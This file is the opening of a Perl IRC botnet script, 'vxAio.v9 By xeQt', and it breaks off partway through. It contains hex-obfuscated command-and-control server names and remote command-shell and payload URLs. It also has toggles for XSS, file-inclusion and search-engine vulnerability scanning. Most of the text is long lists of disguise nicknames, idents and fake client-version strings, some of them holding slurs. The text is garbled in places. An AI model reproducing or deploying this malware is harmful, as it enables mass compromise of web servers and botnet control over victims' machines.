#!/usr/bin/perl # vxAio.v9 By xeQt! use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; my @TeaMrx = ("\x62\x33\x6e\x2e\x75\x73\x65\x72\x73\x2e\x75\x6e\x64\x65\x72\x6e\x65\x74\x2e\x6f\x72\x67","nj.users.undernet.org"); my @myhood = ("#vx."); my @SqlTable = ("\x44\x69\x65\x6d\x65\x6e\x2e\x4e\x4c\x2e\x45\x55\x2e\x55\x6e\x64\x65\x72\x6e\x65\x74\x2e\x4f\x72\x67", ."\x6d\x65\x73\x61\x2e\x61\x7a\x2e\x75\x73\x2e\x75\x6e\x64\x65\x72\x6e\x65\x74\x2e\x6f\x72\x67", ."\x65\x75\x2e\x75\x6e\x64\x65\x72\x6e\x65\x74\x2e\x6f\x72\x67", ."\x75\x73\x2e\x75\x6e\x64\x65\x72\x6e\x65\x74\x2e\x6f\x72\x67"); my $xeqt="!x"; my $shad0w=1; my $warned=0; my $public=0; my $xsson=0; my $safe_print = 0; my $vHo sts=1; my $ascmethod=int(rand(5)); my $lfisc=0; my $google=1; my $msn=0; my $fbls=0; my $opplys=0; my $lawcrawler=0; my $aol=0; my $kvasir=0; # 0 my $uol=0; my $atwsd=0; my $srcbg=0; my $altalavista=0; my $metacrawler=1; my $xeQters="\x78\x65\x71\x74"; # If 0uid! my $sendnick="\x62\x33\x6e"; my $cmdsh="http://www.salebook.ru/n?"; my $bcurl="0";.# Hidden! my $printer="http://www.salebook.ru/r?"; my @NickNa me = ("d4tasrv","BinSU","BinPS","BinLS","BinX","StartX","w1n4mp","mp3Amp","Arps", ."Evals","Quiter","Quizz","n0d32","Avira","AntiVii","ViiAnti","xeQt3r","Blame","meto", ."TeaMrx","fatys","elter","vxbots","smufn","dualC","lees","carro","frida","h4nks", ."xss_m0d","xss_com","com_xss","com_mbd","com_mod","mod_com","com_joomla","com_bad", ."mod_rdr","mod_foks","mod_Wii","mod_que","pure_m0d","mod_perm","mod_foo","foo_mod", ."Busta-R","OlDirty","h0eboy","HoreUnge","Nicks","Nick","Drap","Ghostrdr","Ridders", ."h3roin","Sucks","w3sts1de","w3side","s1den","htmlxpl","mod_html","mod_ssl","gmod", ."Cyanid","Toxic","t0xic","t0xido","Tape","Taper","Traped","m0n3y","c4sh","d4shbrd", ."Volta","t0y0ta","t0yo","Proxes","vx8Aio","Smurph","Murph","Cl4ss","d1sco","formen", ."com_Wii","Wii_com","Wii_Trojan","WiiTrojan","WiiN3t","dualn3t","speedn3t","fjomp", ."Wiidow","Wiinex","Feedex","V1sa","El1te","K3yl0g","Sn1ffed","ARPoison","p0isen", ."WiiBot","WiFii","Wiib0t","WiixQt","Willage","Wiifi","Wiifiis","Carban","War1ors" , ."shc0der","shcoders","shellcode","asmcode","asmcrp","asmc0rp","c0rps","c0persss", ."g1ra","speda","p3pper","dings","dang","pling","singa","asnl","manu","ispx","ipn", ."d3lta","rom3o","jul1e","c4rbon","g0ld3n","Gold3n","Seigm4n","seim4n","kkk","gbv", ."ARPSpoof","ARPJunk","Lovly","ARP","APR","Smufer","Laban","Ladan","lada","fiats", ."ox0ffff","oxo90","ox90","oxoo","stdlibs","sshds","fri3k","prick","d1ck","n000", ."j4maica"," r0man","l0st","el1te","m3ga","w1de","scr3n","scr3am","p0wer","smurph", ."Buren","Norway","Swed3n","n0w4y","Ch3ss","p3st","f3bz","AAlarm","KlogD","main", ."n0k1a","s1m3nz","s3ven","el3ven","p4rty","qu1zz","p1zz","pl1z","c4rgo","m4dz", ."dMx","WuTANG","Clan","WuClan","PPClan","Plano","Pluto","EvilR","Subaru","EvoGT", ."c0per","Sunny","Asuer","Sudoer","sUdo","Freeb5D","Vifter","Vifta","TwinV","Wmx", ."DnBanks","Smith","Juicy","Petr0l","Petra","Faith","Lauren","OslO","TeaM","Mrx", ."n0rd3a","dMbs","dBSpro","Dbs","AntiABS","s0naren","Ultra_vx","vxbOt","Toyotas", ."c99_xQt","Riots","idiots","wIfI","WiFi","Basics","Advanced","Perf0rms","dohcs", ."PerlWaste","TastePHP","PhPerl","Perl-Php","SendMail","MassMail","MasScan","Di3", ."ScobY","dOOh","vMack","xMax","CpuDrv","aCpu","Asko","Arni","Petros","sigaro", ."Eminem","DrDr3","dr3Dr","a2TheK","mRxeD","xxXxx","SupRmAn","ScarFace","Bots3n", ."Makers","s0nyEric","AsusR","RaSus","Radar","w0rld","FuxThat","Scarf","FaceCut", ."vMaxer","Silly","Aleen","InetdD","FFl ush","STDxQt","STDMrx","StdMax","r57shell", ."r57_xeQt","PhpxQt","Exequte","eXeQt","Flytene","Shady","laddy","Lotto","vxAio", ."sql_inject","sql_db","err_sql","unionall","sel3ct","Eject","sql_xQt","xeQt_db", ."xForum","xbb","xSStEam","Exess","Axxess","Esse","Vatoz","Muerte","Death","Clone", ."eBayScam","Scam","ScamPag","PagScam","PigScam","MailSpdr","KaRsR","LoGG","hilti", ."Frieze","Pomfie","McDonal","BrKing","IlTurbo","LeTurb o","php_safe","php_index", ."w0rdz","popen","ProcOpen","Sh_Exec","Execute","Lemanz","FiveCents","DickHead", ."H3nrey","Johansen","Hans3m","Poobel","Fakecc","ipfake","err_log","stdio","stdlib", ."MyNick","MyDick","MyBack","MayBack","SkyLine","TwojzGT-E","Tsupra","Celica","d0h", ."Dina","Hets","Hats","Nets","aVe","Brk2","pJack","nc-vvlp","NetCat","NetJack","ha", ."liq","dop","heroin","dok","page","php3","pop","smtp","data","kilde","foss","lowrdr", ."drvby","viper","snake","dragon","dup","vuln","cat","grep","loop","inetd","proftpd", ."Raptor","Two-6-13","usexqt22","uselibs22","datalib","perlib","mysql_err","sql_err", ."ByDrive","McUnder","UnderMc","McDrive","Kawasaki","Yamaha","Sizuki","h0nda","Spoond", ."pasive","damp","wals","snoke","snik","poff","phil","pill","dra","drjo","djo","laby", ."rune","alan","britt","brita","stue","stenen","andy","bass","phatt","lover","fresa", ."jvc","jbl","cia","fed","sov","purk","snut","snif","deka","svovel","life","knife","so", ."deka","bos","boss","fres","spett","dus j","kappe","norman","keb0rd","fab","dor","bits", ."kniv","lisa","nina","ole","pat","mtv","charl","smokie","nabo","walk","brks","krad-3", ."se","no","de","dk","it","fr","op","mode","loc","sa","za","yu","jufr","fred","peace", ."tr","baat","bbc","nbc","vcb","coffe","dark","morkz","svart","neger","slave","dohgz", ."dame","lady","bola","biffen","kamm","drev","sprider","spider","iscrem","daddy","pie", ."ono","tima","mytm","mot or","vsmot","sport","fart","devs","var","tmp","spol","sture". "jule","tree","gate","net","rand","perl","line","xqt","mrx","org","asus","sped","yaco", ."hash","hmm","ddos","pwr","nix","linux","bsd","ppal","aio","mars","bates","daim","da", ."pico","nmap","juge","sone","log","goofy","kars","meter","daim","kul","foksy","hyena", ."beta","pulse","driver","org","fos","kars","kma","fua","all","tea","foks","lady","fa", ."testo","bola","bolen","card","cards","chip","chips","wv","audi","bmw","roys","bechs", ."nokia","mrx","some","candy","goo","cool","scam","scan","google","lee","cam","li","dm", ."loff","grov","abcd","pulse","grow","alrt","spyd","trojn","maxd","xeqtd","xQtd","nodz", ."pid","slow","view","lmn","lsd","lds","as","ass","pff","yuo","had","afraid","africs", ."Draco","pondus","Find0t","solno","solis","hash","hasj","w33d","Skunk","powder","asss", ."Djelno","divas","f3ber","l0cos","putAs","Fucks","Demper","Damps","silv3r","m0m0rSs", ."Hal0","b3livn0t","n0b3liv","mYlIfe","PacSlife","p3rlb0t","pr ylb0t","vxAio","aioKit", ."Hallis","EarlMy","MyEarl","Stigma","dJPulse","Sparko","NetCat","nEtCated","Bc-txt", ."uselib22","C22","CiaAgnt","Gturbo","NetSafe","PerlMake","MakeFile","WXp","xeQting", ."Ninja","Helen","hanne","t0nje","freia","VBL","Cask","C0ldCase","Spuds","Hasjen", ."Helena","Hitler","smiley","dommy","t0mmy","all3n","m4rius","suiram","carma","dama", ."Hasjen","Stinger","PayPal","eBays","wh0Shut","FiveShot","aJays" ,"Dinomitt","eXplo", ."eggDrop","vx8m0d","vx8b0t","vx8prod","vxprod","oslocty","tester","sucker","evers", ."MitsuEvo","ProSti","AudiRS","Porche","EvilR","Toska","Carerra","EvoVFQ","Simpsen", ."exec","popen","passthrue","system","proxopen","phpvuln","phphat","phpwn","phpg3k", ."Favor","dennsl","flam0r","kab0r","Ab0rs","t0rsk","D0rsk","c0ded","wiln3t","spyed", ."c0mon","ladas","piller","Listnup","camaro","speeed","spedd","sputnik","YouFace", ."nit0z","turbon","gt78","gt66","ITSGT88","service","farts","burb0n","nockfort", ."SafeNod","Antii","TRD","bcdotxt","Spread","HREF","class","Divaz","Pagina","lang", ."no","se","de","dk","fi","hu","info","gr","pk","cagov","edupk","eduas","netsverm", ."Newt0n","cart0n","dellli","p3ppes","spedro","n0zz","nxgaz","Phone","lii","leee", ."Linux","FreeBSD","OpenBSD","NetBSD","Fedora","RedHat","Corp","HansE","Frida","M", ."Junni","unni","Tonje","Else","ifnot","version","LinuxOS","DarWinS0x","bl0wc0ce", ."BassMan","TuneBass","NoisYa","Hitemup","Mofoer","shit","TwinGate"," MaBord","eu0s", ."OsloLiga","TeaMOslo","Forum0id","NULLuid","Dork","F0rks","Kniven","Pock3t","udp", ."TcpxQt","UDPxQt","SynxQt","xeQter","xeQt","Henriette","ida","t0nny","Nille","doh", ."TeaMrx1","TeaMrx0","TeaMrx2","TeaMrx3","TeaMrx4","TeaMrx5","TeaMrx6","TeaMrx7", ."Syrehue","Platas","Stroket","h0rer","b0tp3rl","shellcmd","phptrue","phpfake", ."ally","bling","vekk","datt","hilton","paris","yeaah","ladies","sexymom","liqit", ."Sierra","Focus","STR10","Dodge","v10","v6","R4","Boxer6","Boxer4","WrxSti","joo", ."c0sw0rth","Linesky","Ferrari","Lamboo","Flower","x4","x2","x8s","xMann","xgirl", ."mIRC","Hybrid","Scamer","paypal","eGold","Format","unset","histfile","liqduo", ."aVe","kmod","kmod2","uselib","raptor","tmpSH","pwned","w00t","DualDuo","Intel", ."xc90","v0lvo","Saab","Viggen","Arcade","AkersMic","Byp0rten","loveyou","Screwed", ."AMDPwr","Geforce","Exploit","vx8m0d","indexs","index","index2","index3","index4", ."xQt1","xQt2","xQt3","xQt4","xQt5","xQt6","xQt7","xQt8","xQt9","xQt10","TeaMrxz", ."De","Der","Det","Var","Kam","Dea","Csa","Fbi","Dea","Narko","Gone","Feber","Tull", ."Tundra","st0rms","fLash","TheLight","Nikko","Nikie","Nikkie","daniel","t0nyandr", ."Europa","Fanta","Caroline","speedline","Perf0rm","indexs","dan","educat","catina", ."bindex","hindex","n0rway","myphp","phpvuln","Alarma","GoScan","oslocity","spette", "Cascam","vSport","vSmotor","vSteam","vSturbo","Turbost","heeman","andy","loundry", ."ranger","Carbon","TypeR","Nozz","phpforum","Nxgas","NinaGirl","Isit","lama","ouch", ."vTeam","vSpot","vCrew","xeQta","Gourl","Vulnx","Hksurl","Greedy","Mrx","counyjail", ."Spourl","Torshov","Oslos","com_xeqt","mowgli","Asus","com_mrx","MrxTeam","arrest", ."vScrew","beran","stuing","ucutter","readnot","gethelp","curpos","cutext","Busted", ."Rover","Hunday","Bank0k","Twinz","Wish","Stomp","Jointz","Pufpuff","c0ntext","liq", "detda","kanjo","neinei","Carbon","irriter","masa","dev-null","korsett","PerlTeam", ."Paller","Elkopn","MiNiBank","Safem0d","D3ppa","yahrght","locator","SpamAss","dir", "jada","kanjeg","mutterz","dalenmin","heimdal","Gambler","Deanz","Phreak","Getno", ."Terga","targa","upc","scr3wer","p3rlmagic","onodos","quepasa","d33ns","audivw", "Susa","Pils","Pilz","Bilz","Clubz","Clubs","Clubbin","Fights","Kampen","telenor", "Karss","Gophy","reactor","fileporn","filemp3","filelist","free6","purextc","upc", ."Grandis","Piccaso","Vanda","varburen","Tiesto","Jean","DjEan","MeNe","ThiS","nO", "drspeed","fuzzy","buzzz","GoScan","Vulned","Gourl","makeconf","sshdconf","ngtno", ."m0rtem","cat0","Fuckyall","Fuckit","Aem","Greedy","Hkss","Sparco","MoMo","Carbon", "d3nyall","vipz","dualc0rz","twoc0re","gotit","h0lyshit","prtls","rapt0r","Getde", ."Vulnx","d3nyurl","vUlnurl","v0dka","Torshov","turboo","Boost","fasty","fr","getfr", ."datacore","dualcore","Daniel","spurv","byrds" ,"jails","spoot","speels","ml","getd", ."Antivi","nod32","Screwed","alias","mekkka","template","f0rm3","p0ker","Geton","NO", ."Door","Borr","Jaarn","Sporet","Dopa","Hasjen","purxTc","Liquer","Justlink","Asust", ."Duffin","Durrett","Dussault","Dwyer","Eardley","Ebeling","Eckel","Edley","Edner", ."Edward","Eickenhorst","Eliasson","Erdos","Erez","Espinoza","Estes","Etter","Eina", ."Elmendorf","Elmerick","Elvis","Encinas","Enyeart" ,"Eppling","Erbach","Erdman","d0", ."Everett","Fabbris","Fagan","Faioes","Altavista","Flamor","Faris","Farone","f00ln3t", ."Farren","Fasso'","Fates","Feigenbaum","Fejzo","Feldman","Euripides","Enzoo","d00rk", ."Wikii","Wifii","Jvc","s0nny","lekter","herrier","sp0ker","netply","netb0st","Liq", "comma","julie","sveina","andre","pulsedj","p0ker","j0ker","eFn3t","Liers","xTcno", ."Suite","Incl","Page","Mappe","Oxyd","Infode","Senil","Powers","Langu","m0d","doch", ."Snakes","Ridder","Viking","Vikings","Norman","Norway","German","Info","Biz","Edud", ."Ninjas","Ilness","Teacer","Faceoff","devnull","MoMo","Spoon","Liquid","Goofy","Aj", ."Google","Yahoo","Altavista","Lycos","Sesam","Solno","Googler","ScamNet","w0rmnet", ."puman","Skeidar","Tinemelk","Freia","Tresis","Tbanen","Adenyed","Hulken","Pureice", ."Sperre","Lister","Burbon","burb0ns","Toy0","Proxes","WrxSti","Evo6","Evo7","Evo8", ."wss","bss","natron","kiwis","Reman","SevnUp","Perlpls","Spiid","Govbr","Govmil", ."Wssss","Files","xFiles","Da taw0rm","n3tw0rm","Info","Biz","Orgy","foksy","Reven", ."limbo","mambi","bambi","rummy","IluvPerl","PerlKing","Pokerking","Turboa","Gttt", ."BugScam","BugTraq","Trackqs","Que","Adidas","Umbro","Sportas","Liquid","Forume", ."Deka","Jbl","Adecco","M5R","Tuners","Techno","Sivilen","Baosh","Snuten","Purken", ."aaudi","coupe","netliga","liganet","netbase","NetSnok","Snoknet","Snifnet","libz", ."indexp","jooblaa","mamboo","Binl3n","C plusplus","p3rls3x","illgoon","de","lime", ."homes","newsr","sindex","findex","shome","php3","eedan","Evens","Everest","kkk2", ."igal","c0lombia","freeme","dupen","d3nmark","s2ed3n","crypt0n","n0dam3n","itch", ."Domino","Tarsan","julie","Anett","Stine","Laura","Croft","Craft","Mrex","jiggy", ."Hemaan","c0nan","c0nmen","ImI","RdR","Ils","Ass","Dildo","Pula","Blow","Sn0rts", ."Petshop","Snifshop","SnIffed","Pwned","uselib23","kullos","sooot","sort","viis", ."Petra","Hunden","Gaffel","plsdrv","aslme","hvasa","Skjeera","Noway","Bl0wfish", ."Aloalo","Nasa","DeaGov","FbiGov","NsaGov","CiaGov","CsiEdu","Hav0rd","djPulse", ."Limb0","j00mla","mamb0","Calender","f0rums","cmsss","ssmss","liquer","hardc0re", ."mega","Dop3r","haai","flyy","byyy","drvby","driveby","killall","netstat","pets", ."pedros","dogn","rythm","baSs","F3ber","Juge","loverr","p3rlb0t","eFnEt","perlx", ."remax","rik","fatig","poor","girls","pow","wop","wok","son","kolsa","royk","asss", ."los","las","angl","dream","fools","phol","phools","d0 rk","spoon","spalk","kalk", ."sd","lang","src","loc","do","go","for","join","cat","cmd","base","liq","now","ya", ."email","smtp","pops","imapd","pag","lang","lg","nav","php","spyer","cyp","hardy", "email","null","mastr","drunk","full","beer","bayer","mage","neve","fist","haist", "dara","dora","boris","dev","cupra","isgal","Yuri","Geez","Frys","dos","to","emul", "pwned","kung","kim","lil","fatjo","fatman" ,"fat","joe","does","quat","tres","eu", ."shv5","lrk","lkm","lkmrk","trk5","xt","tqex","itt","full","half","power","sender", ."does","tres","quat","fiat","spon","kvae","liim","papp","ddos","fart","noz","daim", ."liga","tvone","shdw","etcpwd","initd","ftpd","wuspl","proftp","newsd","sockd","lue", ."loma","Domma","hest","heist","tivoli","stud","dust","fust","Flue","nille","kenny", ."koma","loc","inc","incl","src","fokus","ford","chevy","wrc","cpu","cool","srchers", ."inc","incl","dir","file","sdir","mains","login","path","base","cmd","cats","farts", ."hu","no","lo","po","pot","top","lot","mo","yu","hy","ty","tyr","fyr","flame","dir", ."fiat","uno","jern","kober","liq","torsk","fisk","laks","hone","hore","buk","noman", ."luv","aix","dupli","form","dali","kath","vx8","m0d","gforce","bond","golden","eye", ."lim","idem","prince","sveina","kine","kim","allan","hanne","terje","bukken","bruse", ."info","cpu","pet","pacs","dino","megov","onet","xrm","tisi","parm","cico","jun","Ri", ."caos","fred","peace","d ude","rox","rock","rokie","bayrn","gees","hval","wolf","h000", ."wget","fetch","get","lynx","lwp","down","load","ers","niners","nigga","phunk","d000", ."do","go","ln","st","file","page","pag","pg","lg","lang","lng","srcs","action","h0nk", ."sml","pod","nvidia","vidia","villa","kake","spat","solo","Cols","kols","kreft","dork", ."chat","mirc","bitchx","http","apache","www-data","logs","loco","print","echos","f0rk", ."cool","phool ","dorks","forki","cute","matrix","five","tre","two","ono","does","d0nal", ."nu","do","li","faen","tater","doc","loc","pof","ninja","per","pets","sings","doper", "Oslos","Ils","cia","d3a","dea","nsa","nas","asa","kma","Scamurl","vito","xQt","Defa"); my @Idents = ("noway","mirc","cmd","index","main","php","vuln","iiris","bx","sun","khan", ."mrid","save","htmlx","xlm","rpc","rdp","pcp","pcb","plast","krom","crom","rocke", ."coms","org","not","mee","deder","derre","drdre","snoop","fiveo","sonnys","jailz", ."java","sock1","s0ck","suge","juga","jungle","penis","dild0","f3br","bat3s","da1m", ."mailx","popps","drinks","pulser","drver","seeit","belive","faith","frekk","hora", ."pops","dops","drops","fransk","tysk","hilti","hitla","bibla","rockroll","funball", ."liks","fata","mota","hasjen","fitte","dickey","nickey","asusx","ateam","teamer", ."robin","wiii","deder","dde","dms","kmas","asas","assa","crack","frek","frekk", ."buyer","sein","kveld","morn","lastif","elsif","elseif","iffs","ifsux","d-li nk", ."nume","soke","soker","dating","dats","darts","wmart","fisk","fished","finito", ."nucler","nuke","nuker","mutes","carlos","fedz","wii","wibot","vxs","dmt","aion", ."evan","ingrid","yngve","mona","monica","inets","crons","trons","tron","petrol", ."senke","tomo","dice","kaney","bruce","lesli","stand","forks","stdlib","stdout", ."luv","dove","sope","opra","sucki","stupid","argv","argc","argi","ari","ben","dd", ."n4s","biatc h","loc0","p0ta","portal","aspx","aspa","jsp","jsps","phpbb","bbphp", ."h4ns","nype","dona","fr3d","c4ren","ronja","ant0n","emil","pobler","hssjj","baa", ."title","mainz","fantom","billy","hansu","hansi","gunter","alx","febers","fedss", ."tities","bryst","kodd","fodd","evilz","elita","tvx","tvr","kvr","lmt","hellsang", ."Thiss","clas","daft","pdrv","pdal","azuz","feduz","pedo","ferd","roman","norman", ."hidn","flom","slow","flow","lows","give","stop","pause","reply","mari","hiper", ."sqlms","rawsql","sqlraw","rawmod","botraw","sraw","praw","pfork","spork","spark", ."soon","ond","park","break","stoms","storm","evilr","revil","mann","gunda","fader", ."hunday","corwet","hardc0r","fiffy","fiveo","copp","coops","linda","chilli","nort", ."heil","opra","ophra","bills","cbill","ccbill","dexter","sparco","recaro","bills", ."deli","deluca","nisse","lasse","kjell","ingar","line","prince","wanter","hitler", ."asdf","zxcv","divx","warez","card","visa","shop","phpx","xphp","mrxed","vulkan", ."hauk","kane","fame ","dumbo","efnet","unet","usnet","psnet","xnet","damp","sooo", ."manu","shadow","sths","stdin","stdout","stderr","errs","puff","daddy","devil", ."info","cpu","pet","pacs","dino","megov","onet","xrm","tisi","parm","cico","jun", ."caos","fred","peace","dude","rox","rock","rokie","bayrn","gees","hval","wolf", ."wget","fetch","get","lynx","lwp","down","load","ers","niners","nigga","phunk", ."do","go","ln","st","file","page","pag"," pg","lg","lang","lng","srcs","action", ."sml","pod","nvidia","vidia","villa","kake","spat","solo","Cols","kols","kreft", ."chat","mirc","bitchx","http","apache","www-data","logs","loco","print","echos", ."cool","phool","dorks","forki","cute","matrix","five","tre","two","ono","does", ."lam","fal","dett","drop","snop","true","fake","yes","sir","mae","nmf","vmax","as", ."adio","audo","soren","tvtre","host","unitd","coda","cobra","mans","gmail","gtrs", ."remax","rik","fatig","poor","girls","pow","wop","wok","son","kolsa","royk","asss", ."los","las","angl","dream","fools","phol","phools","d0rk","spoon","spalk","kalk", ."one","two","tree","foure","five","six","aight","nine","clan","script","spon","hok", ."sd","lang","src","loc","do","go","for","join","cat","cmd","base","liq","now","ya", ."email","smtp","pops","imapd","pag","lang","lg","nav","php","spyer","cyp","hardy", "email","null","mastr","drunk","full","beer","bayer","mage","neve","fist","haist", "dara","dora","boris","dev","cupra"," isgal","Yuri","Geez","Frys","dos","to","emul", "pwned","kung","kim","lil","fatjo","fatman","fat","joe","does","quat","tres","eu", ."shv5","lrk","lkm","lkmrk","trk5","xt","tqex","itt","full","half","power","sender", ."does","tres","quat","fiat","spon","kvae","liim","papp","ddos","fart","noz","daim", ."liga","tvone","shdw","etcpwd","initd","ftpd","wuspl","proftp","newsd","sockd","lue", ."loma","Domma","hest","heist","tivo li","stud","dust","fust","Flue","nille","kenny", ."koma","loc","inc","incl","src","fokus","ford","chevy","wrc","cpu","cool","srchers", ."inc","incl","dir","file","sdir","mains","login","path","base","cmd","cats","farts", ."hu","no","lo","po","pot","top","lot","mo","yu","hy","ty","tyr","fyr","flame","dir", ."fiat","uno","jern","kober","liq","torsk","fisk","laks","hone","hore","buk","noman", ."luv","aix","dupli","form","dali","kath","vx8","m0d","gforce","bond","golden","eye", ."lim","idem","prince","sveina","kine","kim","allan","hanne","terje","bukken","bruse", ."nu","do","li","faen","tater","doc","loc","pof","ninja","per","pets","sings","doper", ."liq","dop","heroin","dok","page","php3","pop","smtp","data","kilde","foss","lowrdr", ."drvby","viper","snake","dragon","dup","vuln","cat","grep","loop","inetd","proftpd", ."pasive","damp","wals","snoke","snik","poff","phil","pill","dra","drjo","djo","laby", ."rune","alan","britt","brita","stue","stenen","andy","bass","phatt","lover","fresa", ."jvc","jbl", "cia","fed","sov","purk","snut","snif","deka","svovel","life","knife","so", ."deka","bos","boss","fres","spett","dusj","kappe","norman","keb0rd","fab","dor","bits", ."kniv","lisa","nina","ole","pat","mtv","charl","smokie","nabo","walk","brks","krad-3", ."se","no","de","dk","it","fr","op","mode","loc","sa","za","yu","jufr","fred","peace", ."tr","baat","bbc","nbc","vcb","coffe","dark","morkz","svart","neger","slave","dohgz", ."da me","lady","bola","biffen","kamm","drev","sprider","spider","iscrem","daddy","pie", ."ono","tima","mytm","motor","vsmot","sport","fart","devs","var","tmp","spol","sture". "jule","tree","gate","net","rand","perl","line","xqt","mrx","org","asus","sped","yaco", ."hash","hmm","ddos","pwr","nix","linux","bsd","ppal","aio","mars","bates","daim","da", ."lava","cisco","sssl","https","ophra","lonely","mred","both","tcpip","udp","inetd","sl", ."pico","nmap","juge","sone","log","goofy","kars","meter","daim","kul","foksy","hyena", ."beta","pulse","driver","org","fos","kars","kma","fua","all","tea","foks","lady","fa", ."testo","bola","bolen","card","cards","chip","chips","wv","audi","bmw","roys","bechs", ."nokia","mrx","some","candy","goo","cool","scam","scan","google","lee","cam","li","dm", ."loff","grov","abcd","pulse","grow","alrt","spyd","trojn","maxd","xeqtd","xQtd","nodz", ."raptor","swedn","den","ger","geir","dell","suport","user","lima","foss","karss","goofy", ."pid","slow","view","lmn"," lsd","lds","as","ass","pff","yuo","had","afraid","afric","noo", ."owner","crime","data","need","doper","hash","mysql","imapd","devil","shark","byn","ju"); my @RName = ("Googurl (C) 2006 xeQt","www.Google.com","* Im to lame to read Bitchx.doc *","BiatchX", ."BGjengen suger","Tveita ligaen","Audi liga","Audi Sport RSTurbo","Audi RSR4","Escort cosworth", ."Tveita Gjengen","Bgjengen","Agjengen","locos","putas","spooon","Type-R Tur bo","Civic R Turbo", ."mIRC 6.1","* Im so lame i cant read BitchX.doc *","Bill Gates","Cannon","Mtv","nos","nozzz", ."Sport Crew","vTeam","Turbo","random","paypal","netscam","www.milw0rm.com","lee","av","freace", ."trojan donkey","Monster Garage","Garage Inc.","Pimp Ma Shit","Pimp my ride","Freak out","Doch", ."www.packetstormsecurity.org","www.linux.com","www.freebsd.org","Hello There","tyson","mekkkka", ."Im just myself man","Can u get the clue?","Im not the only one","Fear the lions","mekka","nooo", ."Dragons back","Turbo Quattro","Sport Quattro","aheh goofy","Just for phun","gBill","goa","Yesir", ."Thats my mofo name","Snoooop Doggy Style...","Tricky Trickey","love, peace, and xeQt","rbot","ha", ."Clap your hands","one two tree, bass","lions","Drugs, sex, and xtc","i hate that biatch","ali", ."Go fuck yourself","whois meeee","Fatjoe Corp","Brooklyn Bounche","Dj Pulsedriver","lee","furutre", ."Dont you wish?","Go screw yourself biatch","Smoke and fly","fuck mobb deep, Fuck bin laden","hai", ."Ra ndom","You have no clue","This rocks","uranium","BinLaden","Ted Bundy","Charlie Cheeens","hans", ."Will Smith","Freash Prince On IRC","Freash prince in bel air","Powered By PHPBB","mambo","ruyo has", ."dj pulse","Powered By xeQt","Delux","2pac","Biggie","Fuck sadam","Allah","Im your god idiot","id", ."Im to lame to read BitchX.doc","Boika","Diamonds","Jean claude Van dame","Arnold Schwartsneger ids", ."Stig","Anothony","White Po wer","Just do it","vSmotor vs. Turbo","Nismo Skyline GT-R R34","MySquad", ."Honda Civic Type-R","Maria Carrey","Terror Squad","I'm to lame to read BitchX.doc","w33d","hugo serv", ."WinXP 1999 (C) Bill Gates","Microsoft windows xeQtxpress","xeQt vS Mrx Team","Apache httpd server", ."arne","line","geir","terje","synne","linda","frode","my name?","teamrxPress","xeqters","asus power", ."Crash Test Dummy","Madonna","vX power","Team Windows","Bill Gates","Bill Gatez","Thats my girl...haha", ."Life by the gun! Die by it.","Thugz 4 life","Nothugz","Torshov mafia","Hells Angles","Bandidosssss", ."Phunter","panter","Snaked","Hunted","Victums","PHPSH","mod_com_xQt","com_xeQter","com_team","assasins", ."Nokia, Connecting People...","BitchX","smoke and fly","com_xeQt_Performance","TeaMrx Performance", ."Just another junkie","I Need help?","Fuck it, die","perl n die","Code n die","fuck bush and sadam.", ."xQt","Perlbot version vx9m0d v3","Googurl","Google lovers","xeQt_com","mrx_unit","com_asus","haist.", ."TeaMr x Crew","xQt vS TeaMrx","xeQt vS Mrx","Powered by TeaMrx","Powered by xQt","com_xQt_mrx","com_x", ."com_teamrx","xeQt the way to go","Perl monks","perlhackers","perl genius","perl team","perl scanner..", ."Peace, Love, And Extasy","Segmentation fault (core dumped)","host.futuracreative","www.microsoft.com.", ."Andy Morgans","MS13","Explosive Childrens","Calcutta","Mr Alban, no. Dr Alban","Mr dre","Fuck bad boy", ."Arnold svartne ger","svartneger arnold","pimp my ride","asus powered, teamrx","teamrx gtr nismo 3","chao", ."Afroman, Yaman.","GanjaGang, all day long","AfroBabe","ActionGirl","POwer ranger","Texas ranger","C.I.A", ."C22 Blowup!","C4 DownTown","Blow Shit Up","Fuck it, im done","Screw you shit head","Dont fucking whoisme", ."Deep Purple","Prince Sucks Big Time","Prince,? i smoke him..","Scre you dipshit!","Im No Bad Boy Mofoer", ."We aint fucking around!","Norways gangbang motherfuckers","B-Gjengen er idiotiske","fuck b-gjengen sopere", ."Aint no joke","Stop fucking around!","Liquid Skyes","Acid Tripe Heads","KlubbHeads","PartyLand","Housemania", ."Abdulla Muhammed Ali Baba","Yea Foo!! So what?","Bitch Ass Niggah","Predator","Alien vS TeaMrx","OlDirtyBast", ."San Francisco","New York Gangbang..","Team Norway","Team Europe","Team Germany","Team Work","jet lie"); my @Mrx = ("mIRC32 v5.91 K.Mardam-Bey","mIRC v6.2 Khaled Mardam-Bey", ."mIRC v6.03 Khaled Mardam-Bey","mIRC v6.14 Khaled Mardam-Bey", ."mIRC v6.15 Khaled Mardam-Bey","mIRC v6.16 Khaled Mardam-Bey", ."mIRC v6.17 Khaled Mardam-Bey","mIRC v6.21 Khaled Mardam-Bey", ."jBot V1.1 - running on OpenBSD i386", ."WiiBot-4.5 By TeaMrx vS xeQt", ."vxAio v1.6x m0d By xeQt 2007", ."WiiBot BitchX Mod By xeQt", ."JPilot IRC Java Client 2.32", ."Quarterdeck Global Chat 1.2.9 for Macintosh", ."Snak for Macintosh 4.9.8 English", ."vxAio 2.0 Private By TeaMrx vS xeQt", ."DvC v0.1 PHP-5.1.1 base d on Net_SmartIRC", ."irssi v0.8.10 - running on OpenBSD i386", ."irssi v0.8.10 - running on OpenBSD i686", ."irssi v0.8.2 - running on Linux i386", ."irssi v0.8.3 - running on Linux i686", ."irssi v0.8.5 - running on Linux i386", ."irssi v0.8.7 - running on Linux i686", ."xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]", ."xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]", ."xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]", ."XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]", ."ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17", ."ircN 8.00 .-. he tries to tell me what I put inside of me .-.", ."FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people", ."BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!", ."BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!", ."BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!", ."BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!", 